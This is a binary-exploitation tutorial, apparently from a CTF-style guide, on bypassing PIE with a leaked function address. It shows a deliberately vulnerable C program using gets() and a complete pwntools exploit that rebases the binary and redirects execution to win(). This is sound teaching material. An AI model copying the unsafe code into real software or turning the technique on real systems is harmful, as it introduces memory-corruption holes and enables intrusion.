PIE Bypass with Given Leak
Exploiting PIE with a given leak
The Source
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %lx\n", main);
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
Pretty simple - we print the address of main
, which we can read and calculate the base address from. Then, using this, we can calculate the address of win()
itself.
Analysis
Let's just run the script to make sure it's the right one :D
$ ./vuln-32
Main Function is at: 0x5655d1b9
Yup, and as we expected, it prints the location of main
.
Exploitation
First, let's set up the script. We create an ELF
object, which becomes very useful later on, and start the process.
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
Now we want to take in the main
function location. To do this we can simply receive up until it (and do nothing with that) and then read it.
p.recvuntil('at: ')
main = int(p.recvline(), 16)
Now we'll use the ELF
object we created earlier and set its base address. The sym
dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.
elf.address = main - elf.sym['main']
In this case, elf.sym['main']
will return 0x11b9
; if we ran it again, it would return 0x11b9
+ the base address. So, essentially, we're subtracting the offset of main
from the address we leaked to get the base of the binary.
Now we know the base we can just call win()
.
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
And does it work?
[*] 'vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
Awesome!
Final Exploit
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
p.recvuntil('at: ')
main = int(p.recvline(), 16)
elf.address = main - elf.sym['main']
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
Summary
From the leak address of main
, we were able to calculate the base address of the binary. From this we could then calculate the address of win
and call it.
And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.
64-bit
Try this for yourself first, then feel free to check the solution. Same source, same challenge.
Last updated
Was this helpful?